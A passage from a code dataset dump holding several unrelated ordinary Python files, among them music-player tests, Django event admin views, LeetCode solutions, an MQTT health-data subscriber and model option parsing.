'title': 'Mock Youtube Video 1' }\n self.ytdl.extract_info.return_value = data1\n await self.player.command_add(\"test url\", self.textChannel)\n\n # switch to queue two\n data2 = { 'url': 'http://mock.url',\n 'title': 'Mock Youtube Video 2' }\n self.ytdl.extract_info.return_value = data2\n await self.player.command_switch_queue(\"1\", self.textChannel)\n\n # add somsething to it\n await self.player.command_add(\"test url\", self.textChannel)\n\n # play here\n await self.player.command_play(self.textChannel, self.voiceChannel)\n\n # make sure it's playing\n self.assertEqual(self.player.state, \"playing\")\n\n async def test_switching_queue_while_playing(self):\n await self.player.command_add(\"test url\", self.textChannel)\n await self.player.command_play(self.textChannel, self.voiceChannel)\n await self.player.command_switch_queue(\"1\", self.textChannel)\n\n self.assertEqual(self.player.state, \"stopped\")\n assert self.player.currently_playing is None\n\n async def test_switching_between_playing_queues(self):\n # song 1\n data1 = { 'url': 'http://mock.url',\n 'title': 'Mock Youtube Video 1' }\n self.ytdl.extract_info.return_value = data1\n\n await self.player.command_add(\"test url\", self.textChannel)\n # song 2\n data2 = { 'url': 'http://mock.url',\n 'title': 'Mock Youtube Video 2' }\n self.ytdl.extract_info.return_value = data2\n await self.player.command_switch_queue(\"1\", self.textChannel)\n await self.player.command_add(\"test url\", self.textChannel)\n\n await self.player.command_play(self.textChannel, self.voiceChannel)\n\n \n await self.player.command_switch_queue(\"0\", self.textChannel)\n \n self.assertEqual(self.player.state, \"playing\")\n self.assertEqual(self.player.currently_playing.title, data1.get('title'))\n\n\n await self.player.command_switch_queue(\"1\", self.textChannel)\n self.assertEqual(self.player.currently_playing.title, data2.get('title'))\n\n\n############ Testing errors\n\nif __name__ == '__main__':\n unittest.main()\n\n","sub_path":"tests/testmusicplayer.py","file_name":"testmusicplayer.py","file_ext":"py","file_size_in_byte":9429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"233930520","text":"import feelyng.stream.loader as l\nimport feelyng.stream.preprocess as p\nfrom feelyng.core.encoder import Encoder\n\n# Loads an input .csv\ncsv = l.load_csv('data/twitter_en.csv')\n\n# Creates a pre-processing pipeline\npipe = p.pipeline(\n p.lower_case,\n p.valid_char,\n p.tokenize_sentence\n)\n\n# Transforming dataframe into samples and labels\nX = csv['text']\nY = csv['sentiment']\n\n# Applying pre-processing pipeline to X\nX = X.apply(lambda x: pipe(x))\n\n# Creating an Encoder class\ne = Encoder(type='word2vec')\n\n# Calling its internal method to learn an encoding representation\ne.learn(X)\n\n# Calling its internal method to actually encoded the desired data\n# Does not necessarily needs to be the same X from e.learn()\ne.encode(X)\n\n# Acessing encoded data\nprint(e.encoded_data)\n","sub_path":"examples/encode_data.py","file_name":"encode_data.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"107840793","text":"\"\"\"\n// Time Complexity : o(2^n + n) = o(2^n)\n// Space Complexity : o(n)\n// Did this code successfully run on Leetcode : yes\n// Any problem you faced while coding this : no\n\n\"\"\"\nclass Solution(object):\n \n def isPalindrome(self,s): #to check if given string is a palindrome or not\n if len(s) == 1: #string of length 1 is a palindrome in itself\n return True\n #pointers at beginning and end, for iteration\n l = 0\n h = len(s) - 1\n while l < h:\n if s[l] != s[h]:\n return False\n l = l+1\n h = h-1\n \n return True\n \n def helper(self, s, path, idx):\n \n if idx >= len(s): #append to res only if, the entire string has been traversed as entire string has to be partitioned\n self.res.append(path[:]) #copy of path\n \n for i in range(idx, len(s)):\n if self.isPalindrome(s[idx:i + 1]): #if substring is palindrome\n path.append(s[idx:i + 1]) #add to tmp list\n self.helper(s, path, i+1) #next index\n path.pop() #undo last step\n \n \n def partition(self, s):\n \"\"\"\n :type s: str\n :rtype: List[List[str]]\n \"\"\"\n self.res = []\n self.helper(s,[],0)\n return self.res","sub_path":"Problem2.py","file_name":"Problem2.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"344289612","text":"import logging\nfrom django.views.generic import CreateView, UpdateView, TemplateView, FormView\nfrom django.urls import reverse, reverse_lazy\nfrom django.shortcuts import redirect, get_object_or_404\nfrom django.contrib import messages\nfrom django.http import Http404\nfrom django.db.models import Sum\nfrom braces.views import LoginRequiredMixin, GroupRequiredMixin\nfrom mysite.common import Button, LinkButton\nfrom members.views.views import SingleTableView\nfrom members.views.invoice_views import InvoiceTableView\nfrom members.models import ItemType, Invoice, Settings, Person\nfrom members.filters import InvoiceEventFilter\nfrom events.models import Event, Participant, Tournament, Guest, WaitingList\nfrom events.services import group_data, send_confirmation\nfrom events.forms import SocialEventForm, TournamentEventForm, AddPersonForm, SeatingForm, BuyForm\nfrom events.download import export_social_event\nfrom events.tables import EventTable, TournamentEventTable\n\nlogger = logging.getLogger(__name__)\n\n\nclass SocialEventTableView(GroupRequiredMixin, SingleTableView):\n \"\"\" Show events in a table \"\"\"\n\n group_required = \"Social\"\n model = Event\n template_name = \"events/table.html\"\n table_class = EventTable\n id = None\n\n def get_table_data(self, **kwargs):\n return Event.objects.filter(tournament=None).order_by(\"id\")\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context[\"title\"] = \"Social events\"\n context[\"buttons\"] = [LinkButton(\"Create social event\", reverse(\"events:create_social\"))]\n return context\n\n\nclass EventHelpView(LoginRequiredMixin, TemplateView):\n \"\"\" Just shows help screen \"\"\"\n\n template_name = \"events/event_help.html\"\n\n\nclass EventCreateView(GroupRequiredMixin, CreateView):\n \"\"\" Creates a social or tournament event \"\"\"\n\n title = \"Create event\"\n group_required = \"Social\"\n model = Event\n template_name = \"events/event_form.html\"\n success_url = reverse_lazy(\"events:admin\")\n social = False\n\n def get_form_class(self):\n if self.social:\n return SocialEventForm\n else:\n return TournamentEventForm\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context[\"form_title\"] = f'Create new {\"social \" if self.social else \"\"}event'\n context[\"buttons\"] = [Button(\"Save\", css_class=\"btn-success\")]\n return context\n\n def form_valid(self, form):\n form.instance.item_type_id = ItemType.SOCIAL if self.social else ItemType.TOURNAMENT\n return super().form_valid(form)\n\n\nclass EventUpdateView(GroupRequiredMixin, UpdateView):\n \"\"\" Update event details - date etc\"\"\"\n\n title = \"Update event\"\n group_required = \"Social\"\n model = Event\n template_name = \"events/event_form.html\"\n success_url = reverse_lazy(\"events:admin_menu\")\n event = None\n\n def get_form_class(self):\n if self.object.item_type_id == ItemType.SOCIAL:\n return SocialEventForm\n else:\n return TournamentEventForm\n\n def dispatch(self, request, *args, **kwargs):\n self.event = self.get_object()\n return super().dispatch(request, *args, **kwargs)\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context[\"form_title\"] = \"Update event\"\n del_button = Button(\"Delete\", css_class=\"btn-danger\")\n del_button.confirm(f\"Confirm delete {self.event}\")\n context[\"buttons\"] = [Button(\"Save\", css_class=\"btn-success\"), del_button]\n\n if not self.event.active and not self.event.billed:\n context[\"buttons\"].append(Button(\"Create invoice items\", css_class=\"btn-success\"))\n return context\n\n def post(self, request, *args, **kwargs):\n if \"delete\" in request.POST:\n self.event.delete()\n messages.success(request, f\"{self.event.name} has been deleted\")\n return redirect(\"events:admin\")\n elif \"create-invoice-items\" in request.POST:\n count = self.event.billing_data().process()\n messages.success(request, f\"{count} invoice items created\")\n return super().post(request, *args, **kwargs)\n\n def get_success_url(self):\n return reverse(\"events:admin_menu\", kwargs={\"pk\": self.event.id})\n\n\nclass EventSearchPersonView(GroupRequiredMixin, FormView):\n \"\"\" Admin view to select a person to register for an event \"\"\"\n\n title = \"Search person\"\n group_required = \"Social\"\n template_name = \"events/event_search_person.html\"\n form_class = AddPersonForm\n event = None\n\n def dispatch(self, request, *args, **kwargs):\n self.event = get_object_or_404(Event, pk=self.kwargs[\"pk\"])\n return super().dispatch(request, *args, **kwargs)\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data()\n context[\"event\"] = self.event\n context[\"buttons\"] = [Button(\"Submit\")]\n return context\n\n def form_valid(self, form):\n person_id = form.cleaned_data[\"hidden\"]\n parts = Participant.objects.filter(event=self.event, person_id=person_id)\n if len(parts) == 1:\n return redirect(\"events:participant_detail\", participant_id=parts[0].id)\n return redirect(\"events:search_result\", person_id=form.cleaned_data[\"hidden\"], pk=self.event.id)\n\n\nclass EventPersonActionView(GroupRequiredMixin, FormView):\n \"\"\" Person will not be a participant if we get here from a search\n but need to handle case when we get here through back button\"\"\"\n\n title = \"Person action\"\n group_required = \"Social\"\n form_class = BuyForm\n template_name = \"events/event_person_action.html\"\n event = None\n person = None\n participant = None\n\n def dispatch(self, request, *args, **kwargs):\n self.event = get_object_or_404(Event, pk=self.kwargs[\"pk\"])\n self.person = get_object_or_404(Person, id=self.kwargs[\"person_id\"])\n parts = Participant.objects.filter(event=self.event, person=self.person)\n self.participant = parts[0] if len(parts) == 1 else None\n return super().dispatch(request, *args, **kwargs)\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data()\n context[\"event\"] = self.event\n context[\"person\"] = self.person\n context[\"participant\"] = self.participant\n context[\"buttons\"] = [\n Button(\"Buy tickets\", name=\"buy\").confirm(),\n Button(\"Add to waiting list\", name=\"wait\"),\n LinkButton(\"Admin menu\", reverse(\"events:admin_menu\", kwargs={\"pk\": self.event.id})),\n ]\n return context\n\n def form_valid(self, form):\n tickets = int(form.cleaned_data[\"number_of_tickets\"])\n if \"buy\" in self.request.POST:\n participant = self.event.add_or_update_participant(self.person, self.participant, tickets)\n for ticket in range(1, tickets):\n Guest.objects.create(participant=participant, first_name=\"Unknown\", last_name=\"Guest\")\n message = send_confirmation(self.request, self.event, participant, tickets)\n return redirect(\"events:participant_detail\", participant_id=participant.id)\n elif \"wait\" in self.request.POST:\n WaitingList.objects.create(event=self.event, person=self.person, tickets=tickets)\n return redirect(\"events:waiting_list\", pk=self.event.id)\n return super().form_valid(form)\n\n\nclass EventAdminMenuView(GroupRequiredMixin, TemplateView):\n \"\"\" Admin menu choice \"\"\"\n\n title = \"Event admin menu\"\n group_required = \"Social\"\n template_name = \"events/event_admin_menu.html\"\n\n def get_context_data(self, *, object_list=None, **kwargs):\n context = super().get_context_data()\n event = Event.objects.get(pk=self.kwargs[\"pk\"])\n context[\"event\"] = event\n context[\"social\"] = event.item_type_id = ItemType.SOCIAL\n context[\"waiting\"] = WaitingList.objects.filter(event=event).count()\n total = WaitingList.objects.filter(event=event).aggregate(total=Sum(\"tickets\"))[\"total\"]\n context[\"waiting_total\"] = total if total else 0\n return context\n\n\nclass EventPeopleListView(GroupRequiredMixin, TemplateView):\n \"\"\"\n Admin view for a social event with groups and guest names\n \"\"\"\n\n title = \"Event people list\"\n group_required = \"Social\"\n template_name = \"events/event_people_list.html\"\n event = None\n\n def dispatch(self, request, *args, **kwargs):\n self.event = get_object_or_404(Event, pk=self.kwargs.get(\"pk\", None))\n return super().dispatch(request, *args, **kwargs)\n\n def get_context_data(self, *, object_list=None, **kwargs):\n context = super().get_context_data()\n context[\"event\"] = self.event\n context[\"participants\"] = Participant.add_guests.all(self.event)\n kwarg = {\"pk\": self.event.id}\n context[\"buttons\"] = [\n LinkButton(\"Group view\", reverse(\"events:group_list\", kwargs=kwarg)),\n LinkButton(\"Search for member\", reverse(\"events:search_person\", kwargs=kwarg)),\n Button(\"Export to Excel\"),\n Button(\"Send email\"),\n LinkButton(\"Admin menu\", reverse(\"events:admin_menu\", kwargs=kwarg), css_class=\"btn btn-secondary\"),\n ]\n return context\n\n def post(self, request, *args, **kwargs):\n if \"export-to-excel\" in request.POST:\n return export_social_event(self.event)\n elif \"send-email\" in request.POST:\n return mail_participants(request, self.event)\n raise Http404\n\n\nclass EventGroupListView(GroupRequiredMixin, TemplateView):\n \"\"\"\n Admin view for a social event organised by groups with guest names\n \"\"\"\n\n title = \"Event group list\"\n group_required = \"Social\"\n template_name = \"events/event_group_list.html\"\n event = None\n\n def dispatch(self, request, *args, **kwargs):\n self.event = get_object_or_404(Event, pk=self.kwargs.get(\"pk\", None))\n return super().dispatch(request, *args, **kwargs)\n\n def get_context_data(self, *, object_list=None, **kwargs):\n context = super().get_context_data()\n groups, guest_groups, loners = group_data(self.event)\n context[\"groups\"] = groups\n context[\"guest_groups\"] = guest_groups\n context[\"loners\"] = loners\n context[\"event\"] = self.event\n kwarg = {\"pk\": self.event.id}\n context[\"buttons\"] = [\n LinkButton(\"People view\", reverse(\"events:people_list\", kwargs=kwarg)),\n LinkButton(\"Search for member\", reverse(\"events:search_person\", kwargs=kwarg)),\n Button(\"Export to Excel\"),\n Button(\"Send email\"),\n LinkButton(\"Admin menu\", reverse(\"events:admin_menu\", kwargs=kwarg), css_class=\"btn btn-secondary\"),\n ]\n return context\n\n def post(self, request, *args, **kwargs):\n if \"export-to-excel\" in request.POST:\n return export_social_event(self.event)\n elif \"send-email\" in request.POST:\n mail_participants(request, self.event)\n raise Http404\n\n\ndef mail_participants(request, event):\n request.session[\"selected_people_ids\"] = Participant.objects.filter(event=event).values_list(\n \"person_id\", flat=True\n )\n return redirect(\"email\")\n\n\nclass EventWaitingListView(GroupRequiredMixin, TemplateView):\n \"\"\"\n Admin view to manage people on the waiting list\n \"\"\"\n\n title = \"Event waiting list\"\n group_required = \"Social\"\n template_name = \"events/event_waiting_list.html\"\n event = None\n\n def dispatch(self, request, *args, **kwargs):\n self.event = get_object_or_404(Event, pk=self.kwargs.get(\"pk\", None))\n return super().dispatch(request, *args, **kwargs)\n\n def get_context_data(self, *, object_list=None, **kwargs):\n context = super().get_context_data()\n context[\"event\"] = self.event\n context[\"waiting\"] = WaitingList.objects.filter(event=self.event).order_by(\"id\")\n context[\"buttons\"] = [\n Button(\"Remove\"),\n Button(\"Send email\"),\n LinkButton(\n \"Admin menu\",\n reverse(\"events:admin_menu\", kwargs={\"pk\": self.event.id}),\n css_class=\"btn btn-secondary\",\n ),\n ]\n return context\n\n def post(self, request, *args, **kwargs):\n if \"send-email\" in request.POST:\n request.session[\"selected_people_ids\"] = WaitingList.objects.all().values_list(\"person_id\", flat=True)\n return redirect(\"email\")\n elif \"remove\" in request.POST:\n for key, value in request.POST.items():\n if key[:4] == \"name\":\n WaitingList.objects.filter(id=value).delete()\n return redirect(\"events:admin_menu\", pk=self.event.id)\n\n\nclass ParticipantDetailView(GroupRequiredMixin, FormView):\n \"\"\"\n Admin view for social event.\n Show detail for a single participant\n \"\"\"\n\n title = \"Participant detail\"\n group_required = \"Social\"\n template_name = \"events/participant_detail.html\"\n form_class = SeatingForm\n\n def get_context_data(self, *, object_list=None, **kwargs):\n context = super().get_context_data()\n part = get_object_or_404(Participant, pk=self.kwargs.get(\"participant_id\", None))\n event = part.event\n group = part.group\n context[\"participant\"] = part\n context[\"guests\"] = part.guest_set.all()\n if group:\n context[\"group\"] = group\n context[\"group_guests\"] = group.guests()\n kw_part = {\"participant_id\": part.id}\n buttons = [\n LinkButton(\n \"Buy tickets\", reverse(\"events:register_admin\", kwargs={\"person_id\": part.person.id, \"pk\": event.id})\n )\n ]\n if part.tickets > 1:\n buttons.append(LinkButton(\"Amend guests\", reverse(\"events:guests_admin\", kwargs=kw_part)))\n buttons.extend(\n [\n LinkButton(\"Change group\", reverse(\"events:seating_admin\", kwargs=kw_part)),\n LinkButton(\"Cancel tickets\", reverse(\"events:guests_cancel\", kwargs=kw_part)),\n LinkButton(\n \"People list\",\n reverse(\"events:people_list\", kwargs={\"pk\": part.event.id}),\n css_class=\"btn btn-secondary\",\n ),\n ]\n )\n context[\"buttons\"] = buttons\n return context\n\n\nclass EventGuestsCancelView(GroupRequiredMixin, TemplateView):\n \"\"\" Admin view to cancel a number of tickets \"\"\"\n\n title = \"Cancel guests\"\n group_required = \"Social\"\n template_name = \"events/event_guests_cancel.html\"\n participant = None\n event = None\n\n def dispatch(self, request, *args, **kwargs):\n id = kwargs.get(\"participant_id\", None)\n self.participant = get_object_or_404(Participant, pk=id)\n self.event = self.participant.event\n return super().dispatch(request, *args, **kwargs)\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context[\"participant\"] = self.participant\n context[\"event\"] = self.event\n context[\"tickets\"] = range(self.participant.tickets - 1)\n buttons = [Button(\"Cancel all tickets\", name=\"cancel-all\", css_class=\"btn btn-danger\").confirm()]\n guests = Guest.objects.filter(participant=self.participant).order_by(\"id\")\n if guests:\n buttons.insert(0, Button(\"Cancel selected guests\", css_class=\"btn-primary\"))\n context[\"buttons\"] = buttons\n context[\"guests\"] = guests\n return context\n\n def post(self, request, *args, **kwargs):\n if \"cancel-all\" in request.POST:\n self.participant.delete()\n return redirect(\"events:people_list\", pk=self.event.id)\n else:\n for key, value in request.POST.items():\n if key[:4] == \"name\":\n Guest.objects.filter(id=value).delete()\n self.participant.tickets -= 1\n self.participant.save()\n return redirect(\"events:participant_detail\", participant_id=self.participant.id)\n\n\nclass EventInvoicesView(GroupRequiredMixin, InvoiceTableView):\n \"\"\" List event invoices and payment state \"\"\"\n\n filter_class = InvoiceEventFilter\n group_required = \"Social\"\n\n def get_initial_data(self, qs):\n initial = super().get_initial_data()\n event = Event.objects.get(id=self.kwargs[\"pk\"])\n initial[\"membership_year\"] = 0\n initial[\"state\"] = -1\n initial[\"tags\"] = event.name\n return initial\n\n # def get_queryset(self, **kwargs):\n # event = Event.objects.get(id=self.kwargs[\"pk\"])\n # self.title = f\"Invoices for {event.name}\"\n # qs = (\n # Invoice.objects.filter(tags__name__in=[event.name])\n # .prefetch_related(\"payment_set\", \"tags\")\n # .select_related(\"person\", \"person__membership\", \"payment_task\")\n # )\n # return qs\n","sub_path":"events/views/admin_event_views.py","file_name":"admin_event_views.py","file_ext":"py","file_size_in_byte":17027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"194038765","text":"class Solution:\n \"\"\"\n @param board: A list of lists of character\n @param word: A string\n @return: A boolean\n \"\"\"\n\n def exist(self, board, word):\n # write your code here\n def search(board, i, j, word, start):\n if start == len(word): return True\n if (i not in range(len(board))) \\\n or (j not in range(len(board[0]))) \\\n or board[i][j] != word[start]:\n return False\n board[i][j] = True\n res = search(board, i - 1, j, word, start + 1) \\\n or search(board, i, j - 1, word, start + 1) \\\n or search(board, i + 1, j, word, start + 1) \\\n or search(board, i, j + 1, word, start + 1)\n board[i][j] = word[start]\n return res\n\n if not board: return False\n if not word: return True\n\n for i in range(len(board)):\n for j in range(len(board[0])):\n if board[i][j] == word[0]:\n if search(board, i, j, word, 0):\n return True\n return False\n","sub_path":"lintcode/123-word-search.py","file_name":"123-word-search.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"20421416","text":"magicNumber = 26\n\nfor n in range(101):\n\n if n is magicNumber:\n print(n)\n print(n, \" is the magic number\")\n # if the code goes in this way out program will finish after this break comand down (is not gonna to continue for ELSE STATEMENT\n break\n else:\n #if is not found the magicNummber just print n\n print(n)\n\n#list of numbers\nnumberTaken = [2,5,12,13,17]\n\nprint(\"this is the numbers which are still available\")\n\n# here we decide to row numbers from 0-20 and when one of the numbers is include in our list they will be escaped\nfor n in range(1, 20):\n if n in numberTaken:\n continue\n print(n)","sub_path":"BreakAndContinue.py","file_name":"BreakAndContinue.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"403190527","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('webapp', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='DoctorNotification',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('seen', models.BooleanField(default=False)),\n ('doctor', models.ForeignKey(to='webapp.DoctorProfile')),\n ('organ', models.ForeignKey(to='webapp.DonorOrgan')),\n ],\n ),\n ]\n","sub_path":"OBay/webapp/migrations/0002_doctornotification.py","file_name":"0002_doctornotification.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"278511753","text":"# 2. Wykorzystując dziedziczenie rozszerz klasę Stack znajdującą się w module stack\r\n# (projekt znajduje się na Moodle w pliku ex2.zip) metodę, która pozwoli odczytać\r\n# aktualną minimalną wartość znajdującą się na stosie. Uwaga! Nie wolno zmieniać\r\n# implementacji klasy Stack.\r\nfrom .stack import Stack\r\n\r\n\r\nclass MinMaxStack(Stack):\r\n def __init__(self):\r\n Stack.__init__(self)\r\n\r\n def lowest_number(self):\r\n lowest = self.top()\r\n helping_stack = Stack()\r\n while not self.is_empty():\r\n if (self.top() < lowest):\r\n lowest = self.top()\r\n\r\n x = self.top()\r\n helping_stack.push(x)\r\n y = self.pop()\r\n\r\n while not helping_stack.is_empty():\r\n self.push(helping_stack.top())\r\n helping_stack.pop()\r\n\r\n return lowest\r\n","sub_path":"Zad2/ex2/stack/finding_number_py.py","file_name":"finding_number_py.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"537957800","text":"# Software License Agreement (BSD License)\n#\n# Copyright (c) 2008, Thibault Kruse\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions\n# are met:\n#\n# * Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# * Redistributions in binary form must reproduce the above\n# copyright notice, this list of conditions and the following\n# disclaimer in the documentation and/or other materials provided\n# with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n# COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n\n'plugin detecting python files'\n\nfrom __future__ import absolute_import, print_function, unicode_literals\nimport os\nfrom unilint.unilint_plugin import UnilintPlugin\n\nPY_SOURCE = 'python_source'\n\n__pychecker__ = '--unusednames=cls,options,subdirs'\n\n\nclass PythonSourcePlugin(UnilintPlugin):\n \"\"\"Identifies files and folders with python code (heuristically)\"\"\"\n\n def __init__(self, shell_function):\n super(PythonSourcePlugin, self).__init__(shell_function)\n\n @classmethod\n def get_id(cls):\n return PY_SOURCE\n\n def categorize_type(self, options, path, subdirs, files):\n result = {}\n if not files:\n files = [path]\n for filepath in files:\n filename = os.path.basename(filepath)\n if filename == '__init__.py':\n result[path] = ['python-package']\n if filename == 'setup.py':\n if filepath != path:\n filepath = os.path.join(path, filepath)\n result[filepath] = ['script']\n elif filename.endswith('.py'):\n if filepath != path:\n filepath = os.path.join(path, filepath)\n result[filepath] = ['python-src']\n return result\n\n\n#pylint: disable=R0921\nclass AbstractPythonPlugin(UnilintPlugin):\n \"\"\"Defines a plugin that depends on the categories of PythonSourcePlugin\"\"\"\n def __init__(self, shell_function):\n super(AbstractPythonPlugin, self).__init__(shell_function)\n\n @classmethod\n def get_depends(cls):\n return [PY_SOURCE]\n\n @classmethod\n def get_id(cls):\n \"\"\"\n :returns: short lowercase string\n \"\"\"\n raise NotImplementedError('get_id not implemented by Plugin class')\n","sub_path":"src/unilint/python_source_plugin.py","file_name":"python_source_plugin.py","file_ext":"py","file_size_in_byte":3135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"143336199","text":"import json\nimport time\nimport requests\nfrom flask import Flask\nfrom paho.mqtt.client import Client\n\nmqttSubscriber = Flask(__name__)\n\"\"\"\nMQTT client che si sottoscrive al broker per ricevere i dati\n\"\"\"\ndef send(message):\n # dataToSend = json.dumps(message).encode('utf-8')\n res = requests.post(\"http://healthchecker:5000/sendData\", json=message)\n # print(res.content, flush=True)\n content = json.loads(res.content)\n client.publish(\"/speedTest\", content[\"difference\"])\n\n\ndef on_connect(client, userdata, flags, rc):\n client.loop_start() # start the loop\n client.subscribe(\"pazienti/bloodPressure\", qos=1)\n client.subscribe(\"pazienti/heartbeat\", qos=1)\n client.subscribe(\"pazienti/bloodOxygen\", qos=1)\n client.subscribe(\"pazienti/movement\", qos=1)\n time.sleep(1)\n\n\n############\ndef on_message(mqttClient, userdata, message):\n # print(\"message received from sensor\", str(message.payload.decode(\"utf-8\")))\n send(json.loads(message.payload))\n # time.sleep(0.1)\n\n\nclient = Client(\"MqttSubscriber\", clean_session=False)\nbroker_address = \"broker\"\nclient.on_message = on_message # attach function to callback\nclient.on_connect = on_connect\nclient.connect(broker_address, keepalive=320) # connect to broker\nclient.loop_start() # start the loop\ntime.sleep(3)\n\nif __name__ == \"__main__\":\n # broker_address = \"localhost\"\n\n mqttSubscriber.run(host='0.0.0.0', port=8080)\n","sub_path":"FogLayer/mqttSubscriber/mqttSubscriber.py","file_name":"mqttSubscriber.py","file_ext":"py","file_size_in_byte":1409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"504045084","text":"#반복문\n#range(시작, 끝, 증가값)\n#container형(list, tuple, dictionory)\n#for i container형\n\n#구구단\nfor i in range(2, 10, 1):\n for j in range(1, 10, 1):\n print(\"{0} * {1} = {2}\".format(i, j, i*j))\n\n\"\"\"\nsList = [\"a\", \"hello\", 123, 31.4]\n\nfor i in sList:\n print(i)\n\nsTuple = (\"a\", \"hello\", 456, 31.4)\n\nfor i in sTuple:\n print(i)\n\nsDic = {\"홍길동\":20, \"홍길자\":40, \"홍길순\":30}\n\nfor i in sDic:\n print(i)\n print(sDic[i])\n print('{0} : {1}'.format(i, sDic[i]))\n\"\"\"\n\ncount = 0\ntarget = 100\nsum = 0\n\nwhile count <= target:\n sum = sum + count\n count = count + 1\n\nprint('0부터 {0}까지의 합 - {1}'.format(target, sum))\n\nfor i in range(10):\n #짝수만 출력 i % 2 == 1 -> 홀수만 continue\n if(i % 2 == 1):\n continue\n print(i)\n\nfor i in range(10):\n if(i > 5):\n break\n print(i)\n\n\n\n\n\n\n","sub_path":"python/반복문.py","file_name":"반복문.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"51462544","text":"import os\nimport logging\nimport shlex\n\nimport editor\nimport click\nfrom editor import get_editor, get_editor_args\nfrom click_log import core\n\n\n# apply patches that allow editor with args\n# https://github.com/fmoo/python-editor/pull/15\ndef _get_editor():\n executable = get_editor()\n return shlex.split(executable)[0]\n\n\ndef _get_editor_args(editor):\n args = get_editor_args(editor)\n editor = os.environ.get('VISUAL') or os.environ.get('EDITOR')\n if editor:\n args = shlex.split(editor)[1:] + args\n return args\n\n\neditor.get_editor = _get_editor\neditor.get_editor_args = _get_editor_args\n\n\n# Creating our own handler class that always uses stderr to output logs.\n# This way, we can avoid mixing logging information with actual output from\n# the command line client.\nclass MyClickHandler(logging.Handler):\n def emit(self, record):\n try:\n msg = self.format(record)\n click.echo(msg, err=True)\n except (KeyboardInterrupt, SystemExit):\n raise\n except Exception:\n self.handleError(record)\n\n\ncore._default_handler = MyClickHandler()\ncore._default_handler.formatter = core.ColorFormatter()\n\n# adding color to INFO log messages as well\ncore.ColorFormatter.colors['info'] = dict(fg='green')\n","sub_path":"s3conf/patch.py","file_name":"patch.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"63310397","text":"import argparse\n\ndef model_opts(parser):\n \"\"\"\n These options are passed to the construction of the model.\n Be careful with these as they will be used during translation.\n \"\"\"\n\n # Embedding Options\n group = parser.add_argument_group('Model-Embeddings')\n group.add_argument('-vocab_path', default=\"\",\n help=\"\"\"Path to an existing source vocabulary. Format:\n one word per line.\"\"\")\n group.add_argument('-word_vec_size', type=int, default=500,\n help='Word embedding size for src.')\n group.add_argument('-share_embeddings', action='store_true',\n help=\"\"\"Share the word embeddings between encoder\n and decoder. Need to use shared dictionary for this\n option.\"\"\")\n\n # Encoder-Deocder Options\n group = parser.add_argument_group('Model- Encoder-Decoder')\n group.add_argument('-model_type', default='text',\n help=\"\"\"Type of source model to use. Allows\n the system to incorporate non-text inputs.\n Options are [text|img|audio].\"\"\")\n # encoder type and decoder type \n group.add_argument('-encoder_type', type=str, default='rnn',\n choices=['rnn', 'brnn', 'mean', 'transformer', 'cnn'],\n help=\"\"\"Type of encoder layer to use. Non-RNN layers\n are experimental. Options are\n [rnn|brnn|mean|transformer|cnn].\"\"\")\n\n group.add_argument('-decoder_type', type=str, default='input_feed',\n choices=['input_feed', 'std', 'transformer', 'cnn'],\n help=\"\"\"Type of decoder layer to use. Non-RNN layers\n are experimental. Options 